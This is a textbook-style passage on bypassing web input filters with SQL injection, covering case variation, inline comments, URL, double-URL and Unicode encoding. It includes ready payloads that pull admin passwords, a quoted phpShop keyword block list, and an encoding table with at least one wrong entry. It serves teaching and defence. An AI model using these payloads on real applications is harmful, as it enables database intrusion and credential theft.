Web applications frequently employ input filters that
are designed to defend against common attacks, including SQL injection.
These filters may exist within the application's own code, in the form
of custom input validation, or may be implemented outside the
application, in the form of Web application firewalls (WAFs) or
intrusion prevention systems (IPSs).
In the context of SQL
injection attacks, the most interesting filters you are likely to
encounter are those which attempt to block any input containing one or
more of the following:
SQL keywords, such as SELECT, AND, INSERT, and so on
Specific individual characters, such as quotation marks or hyphens
Whitespace
You may also encounter
filters which, rather than blocking input containing the items in the
preceding list, attempt to modify the input to make it safe, either by
encoding or escaping problematic characters or by stripping the
offending items from the input and processing what is left in the normal
way.
Often, the application
code that these filters protect is vulnerable to SQL injection, and to
exploit the vulnerability you need to find a means of evading the filter
to pass your malicious input to the vulnerable code.
Using Case Variation
If
a keyword-blocking filter is particularly naïve, you may be able to
circumvent it by varying the case of the characters in your attack
string, because the database handles SQL keywords in a case-insensitive
manner. For example, if the following input is being blocked:
' UNION SELECT password FROM tblUsers WHERE username='admin'--
you may be able to bypass the filter using the following alterative:
' uNiOn SeLeCt password FrOm tblUsers WhErE username='admin'--
Using SQL Comments
You can use inline
comment sequences to create snippets of SQL which are syntactically
unusual but perfectly valid, and which bypass various kinds of input
filters.
You can circumvent
various simple pattern-matching filters in this way. For example, a
recent vulnerability in the phpShop application (see http://seclists.org/bugtraq/2008/Feb/0013.html) employed the following input filter in an attempt to prevent SQL injection attacks:
if (stristr($value,'FROM ') ||
stristr($value,'UPDATE ') ||
stristr($value,'WHERE ') ||
stristr($value,'ALTER ') ||
stristr($value,'SELECT ') ||
stristr($value,'SHUTDOWN ') ||
stristr($value,'CREATE ') ||
stristr($value,'DROP ') ||
stristr($value,'DELETE FROM') ||
stristr($value,'script') ||
stristr($value,'<>') ||
stristr($value,'=') ||
stristr($value,'SET '))
die('Please provide a permitted value for '.$key);
Note the space following
each SQL keyword that is being checked for. You can easily bypass this
filter using inline comments to separate each keyword without the need
for whitespace. For example:
'/**/UNION/**/SELECT/**/password/**/FROM/**/tblUsers/**/WHERE/**/username/**/
LIKE/**/'admin'--
(Note that the equals character (=), which is also being filtered, has been replaced with the LIKE keyword in this bypass attack, which in this instance achieves the same result.)
Of
course, you can use this same technique to bypass filters which simply
block any whitespace whatsoever. Many developers wrongly believe that by
restricting input to a single token they are preventing SQL injection
attacks, forgetting that inline comments enable an attacker to construct
arbitrarily complex SQL without using any spaces.
In the case of MySQL, you
can even use inline comments within SQL keywords, enabling many common
keyword-blocking filters to be circumvented. For example, if you
modified the defective phpShop filter to check for the keywords only and
not for the additional whitespace, the following attack will still work
if the back-end database is MySQL:
'/**/UN/**/ION/**/SEL/**/ECT/**/password/**/FR/**/OM/**/tblUsers/**/WHE/**/RE/**/
username/**/LIKE/**/'admin'--
Using URL Encoding
URL encoding is a versatile
technique that you can use to defeat many kinds of input filters. In
its most basic form, this involves replacing problematic characters with
their ASCII code in hexadecimal form, preceded by the % character. For
example, the ASCII code for a single quotation mark is 0x27, so its
URL-encoded representation is %27.
A vulnerability discovered in 2007 in the PHP-Nuke application (see http://secunia.com/advisories/24949/)
employed a filter which blocked both whitespace and the inline comment
sequence /∗, but failed to block the URL-encoded representation of the
comment sequence. In this situation, you can use an attack such as the
following to bypass the filter:
'%2f%2a*/UNION%2f%2a*/SELECT%2f%2a*/password%2f%2a*/FROM%2f%2a*/tblUsers%2f%2a*
/WHERE%2f%2a*/username%2f%2a*/LIKE%2f%2a*/'admin'--
In other cases, this
basic URL-encoding attack does not work, but you can nevertheless
circumvent the filter by double-URL-encoding the blocked characters. In
the double-encoded attack, the % character in the original attack is
itself URL-encoded in the normal way (as %25) so that the
double-URL-encoded form of a single quotation mark is %2527. If you
modify the preceding attack to use double-URL encoding, it looks like
this:
'%252f%252a*/UNION%252f%252a*/SELECT%252f%252a*/password%252f%252a*/
FROM%252f%252a*/tblUsers%252f%252a*/WHERE%252f%252a*/username%252f%252a*/
LIKE%252f%252a*/'admin'--
Double-URL encoding
sometimes works because Web applications sometimes decode user input
more than once, and apply their input filters before the final decoding
step. In the preceding example, the steps involved are as follows:
The attacker supplies the input ‘%252f%252a∗/UNION …
The application URL decodes the input as ‘%2f%2a∗/ UNION…
The application validates that the input does not contain /∗ (which it doesn't).
The application URL decodes the input as ‘/∗∗/ UNION…
The application processes the input within an SQL query, and the attack is successful.
A further variation on
the URL-encoding technique is to use Unicode encodings of blocked
characters. As well as using the % character with a two-digit
hexadecimal ASCII code, URL encoding can employ various Unicode
representations of characters. Further, because of the complexity of the
Unicode specification, decoders often tolerate illegal encodings and
decode them on a “closest fit” basis. If an application's input
validation checks for certain literal and Unicode-encoded strings, it
may be possible to submit illegal encodings of blocked characters, which
will be accepted by the input filter but which will decode
appropriately to deliver a successful attack.
Table 1
shows various standard and non-standard Unicode encodings of characters
that are often useful when performing SQL injection attacks.
Table 1. Standard and Non-Standard Unicode Encodings of Some Useful Characters
Literal Character | Encoded Equivalent |
---|
' |
%u0027 %u02b9 %u02bc %u02c8 %u2032 %uff07 %c0%27 %c0%a7 %e0%80%a7
|
- |
%u005f %uff3f %c0%2d %c0%ad %e0%80%ad
|
/ |
%u2215 %u2044 %uff0f %c0%2f %c0%af %e0%80%af
|
( |
%u0028 %uff08 %c0%28 %c0%a8 %e0%80%a8
|
) |
%u0029 %uff09 %c0%29 %c0%a9 %e0%80%a9
|
* |
%u002a %uff0a %c0%2a %c0%aa %e0%80%aa
|
[space] |
%u0020 %uff00 %c0%20 %c0%a0 %e0%80%a0
|